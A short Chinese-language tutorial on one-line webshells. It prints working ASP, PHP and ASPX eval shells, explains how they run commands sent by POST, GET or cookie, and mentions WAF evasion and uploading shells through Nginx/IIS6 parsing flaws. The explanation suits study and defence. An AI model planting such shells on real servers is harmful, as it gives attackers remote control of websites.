0x01 什么是一句话
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。
0x02 最最典型的一句话小马
asp一句话:<%eval request("heroes")%>
php一句话: <?php @eval($_POST[value]);?>
aspx一句话:<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
一句话木马短小精悍,格式千变万化,因为总是被waf拦截,所以一句话格式可以进行无数种变化绕过waf,可谓是道高一尺、魔高一丈!
0x03 大马与小马
小马特点:小马体积小,容易隐蔽,隐蔽性强,最重要的在于能与图片结合在一起上传之后可以利用Nginx或者iis6的解析漏洞来运行, 不过功能少,一般只有上传功能。
大马特点:大马体积大,一般在50k以上。功能多,一般都包括提权功能,磁盘管理,数据库连接,执行命令甚至有些具备自带提权功能和压缩,解压缩网站程序的功能。隐蔽性不好,而大多代码如果不加密的话容易被杀毒软件查杀。
0x04 一句话小马是如何执行的呢
我们可以通过GET 、POST 、COOKIE 这三种方式向一个网站提交数据,一句话木马用$ _GET[’ ‘]、$ _POST[’ ‘]、$ _COOKIE[’ '] 接收我们传递的数据,并把接收的数据 传递给一句话木马中执行命令的函数,进而执行命令。
所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。
就像是这样:<?php @eval($_POST['a']);?>执行命令的函数(接收的数据)
举个例子: <?php @eval($_POST['a']);?>
其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。
eval函数把接收的数据当作php代码来执行。
这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。
这便是一句话木马的强大之处。
因为木马是接收post请求中 “a” 的数据( $_POST[‘a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。
如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,(就像这样: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。